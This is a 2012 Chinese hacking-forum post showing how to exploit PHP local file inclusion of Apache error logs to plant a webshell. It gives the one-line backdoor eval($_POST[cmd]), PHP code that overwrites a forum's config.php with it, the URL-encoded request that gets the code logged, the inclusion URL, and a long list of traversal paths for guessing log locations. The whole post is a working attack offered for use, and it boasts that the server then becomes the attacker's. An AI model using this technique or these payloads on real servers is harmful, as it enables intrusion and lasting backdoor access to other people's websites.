找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1943|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ) F1 a; ?+ c5 M1 G

+ Y1 ^  G- u4 F8 K- P5 A3 N. n比如还是这句一句话木马
+ r$ L& H* Z; k5 ^( A/ \<?eval($_POST[cmd]);?>   
8 L  w" y" ]! H9 v) k) C# K) n/ Y( @! [8 D7 s: W$ V* e
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 0 Q. r/ ^) n- t& j0 A* x, T, A
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
' t6 K0 k7 [. A
: J$ W6 v  A* ^& D" b: }9 F<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); * g% H% [6 M/ H+ P/ L$ f
fclose($fp);?>   //在config.php里写入一句木马语句 1 G% _# A$ X! G7 r
$ u" F9 o- ~9 [9 ?. o+ N: M7 x8 U
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
% Q" Y+ r/ E! L! _转换为
! u/ d6 Q7 f, e( F%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
$ M7 v+ v. `1 fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
/ c8 L( V1 h' V: w- g. _, y%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
6 z. X; U" N. t, f' b7 m3 dfclose%28%24fp%29%3B%3F%3E
' X8 s8 L& s) Q! w& G; V& l我们提交
  `; [# d+ F9 j) Bhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww ) q$ ~' h% S1 _% v1 G
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 8 t- M  W! i, b6 T
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
* I0 B' D% h, `9 D+ r# Y8 ~$ _: A  Vcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E / P1 @) D& f- X" x5 L6 G% K

9 ?# d8 V4 g# v" Q这样就错误日志里就记录下了这行写入webshell的代码。
: [5 d! }6 O' e我们再来包含日志,提交 6 b  j( }7 Q) K2 r
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log   U: }1 s- c* r4 I/ b) ^' u
; ~5 W% |: h; ^* n, @6 p0 r/ N
这样webshell就写入成功了,config.php里就写入一句木马语句 ; A6 K; ]9 k$ i
OK. ' O! M0 p8 Q/ Y, h7 u
http://www.xxx.com/forum/config.php这个就成了我们的webshell
% |) @( E3 M% S& _( a# j& e0 A直接用lanker的客户端一连,主机就是你的了。 ; ]2 `8 e# N7 |* e# l6 N
2 O% f% J3 H- D9 E+ Z0 I
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ' q+ ~4 F; j5 u' I( N' B7 `' M

- r1 g( B5 i% p# ]其他的日志路径,你可以去猜,也可以参照这里。
$ A) T4 i) `" o9 z' t  U../../../../../../../../../../var/log/httpd/access_log
( e3 Q( x% H& @9 x3 K9 _../../../../../../../../../../var/log/httpd/error_log 1 \" K' {5 k6 |$ X
../apache/logs/error.log
9 e( l8 K. y# T; t% @% q5 ?+ {../apache/logs/access.log + U# Y! y5 F! T- d' x
../../apache/logs/error.log , X- i: C6 ^1 e  H' c2 |
../../apache/logs/access.log
. g7 A. L7 g* X7 x5 ^8 I3 ]1 ?" s../../../apache/logs/error.log ' \7 l: N- U4 a5 U1 c* w
../../../apache/logs/access.log * x# G$ E) z. u0 V0 s
../../../../../../../../../../etc/httpd/logs/acces_log , f+ A8 \6 U6 J$ s
../../../../../../../../../../etc/httpd/logs/acces.log * m: M' g  V! T- r  n6 v! i
../../../../../../../../../../etc/httpd/logs/error_log
# c2 R2 D% I# ~+ _( ^/ v7 u  k../../../../../../../../../../etc/httpd/logs/error.log
8 l9 D1 b5 T' N8 q: A- b  |../../../../../../../../../../var/www/logs/access_log
9 `/ B: a+ k4 |2 Y7 l../../../../../../../../../../var/www/logs/access.log 3 `3 X6 G5 C4 s5 h5 X8 T" T# T7 |
../../../../../../../../../../usr/local/apache/logs/access_log
/ D- ^6 A% |' D' m* V0 r../../../../../../../../../../usr/local/apache/logs/access.log
4 r2 `' N$ z9 T8 f../../../../../../../../../../var/log/apache/access_log
1 H4 e- l$ f9 [1 `2 I1 [../../../../../../../../../../var/log/apache/access.log 9 g& }& t( E; j% L: A
../../../../../../../../../../var/log/access_log
2 f) E* L7 p" H. K. n. g& y../../../../../../../../../../var/www/logs/error_log
, g5 v9 i  o3 s  k. |! W# Q5 d../../../../../../../../../../var/www/logs/error.log
% z' y) F6 I- B../../../../../../../../../../usr/local/apache/logs/error_log
" g4 W- @2 s5 o../../../../../../../../../../usr/local/apache/logs/error.log
. d7 i! u6 }% Q  Y0 j../../../../../../../../../../var/log/apache/error_log - h5 @& p# l7 [  |% q' c
../../../../../../../../../../var/log/apache/error.log 9 i% e( ~4 V; O! l$ \- ~, W3 e+ Z4 l
../../../../../../../../../../var/log/access_log
3 _( W. M6 w/ ]1 }! Z! ?# _../../../../../../../../../../var/log/error_log - x& N' v' I( y! m2 B! O5 m7 X- y
/var/log/httpd/access_log       0 C1 t  l* R& S& a
/var/log/httpd/error_log     
8 F0 d; R# r7 F2 d+ M+ J: P../apache/logs/error.log     * k, q' h7 `: ?. M, _, x
../apache/logs/access.log
' {6 ~- q$ q  @../../apache/logs/error.log   ~' B+ ^6 M% g/ ?. Q
../../apache/logs/access.log
$ U, Y& P, P! y5 m' L../../../apache/logs/error.log
" V+ s9 S5 \! O; ^../../../apache/logs/access.log / J3 B% S. ~2 N/ V) Z
/etc/httpd/logs/acces_log
4 f5 I8 J* C- q$ g$ A3 P; B/etc/httpd/logs/acces.log % K! P. @6 ~3 E
/etc/httpd/logs/error_log $ P  O% X; N# a& T# E0 m
/etc/httpd/logs/error.log
& J7 }! p' S% u- B  l! p2 I) A/var/www/logs/access_log % L6 G: h# N- F# @8 D
/var/www/logs/access.log
# Z. e+ O/ `( R0 R* t8 ]( X1 n/usr/local/apache/logs/access_log & K, ?- u* v6 C$ `: t) \
/usr/local/apache/logs/access.log ) I! R" V% Y8 d7 p0 Y- c
/var/log/apache/access_log ) o2 \, H4 m! `) N- p
/var/log/apache/access.log 2 t1 s7 A- f% T* x+ w# i, E2 a' }
/var/log/access_log " a: l# U; A5 |9 d$ u! C' b
/var/www/logs/error_log
* @- p/ ~  J1 m. j/var/www/logs/error.log
; I6 D. v; j2 J8 u/usr/local/apache/logs/error_log
: @& U5 S$ y2 f8 L4 ^6 I7 u- F/usr/local/apache/logs/error.log ; Y. D1 N' M( I0 e$ C* U
/var/log/apache/error_log
& \4 d3 S& R  |+ \/var/log/apache/error.log
: z8 q, z5 e8 {* i" b/var/log/access_log
( ]; \2 {, o: i. ?- D/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表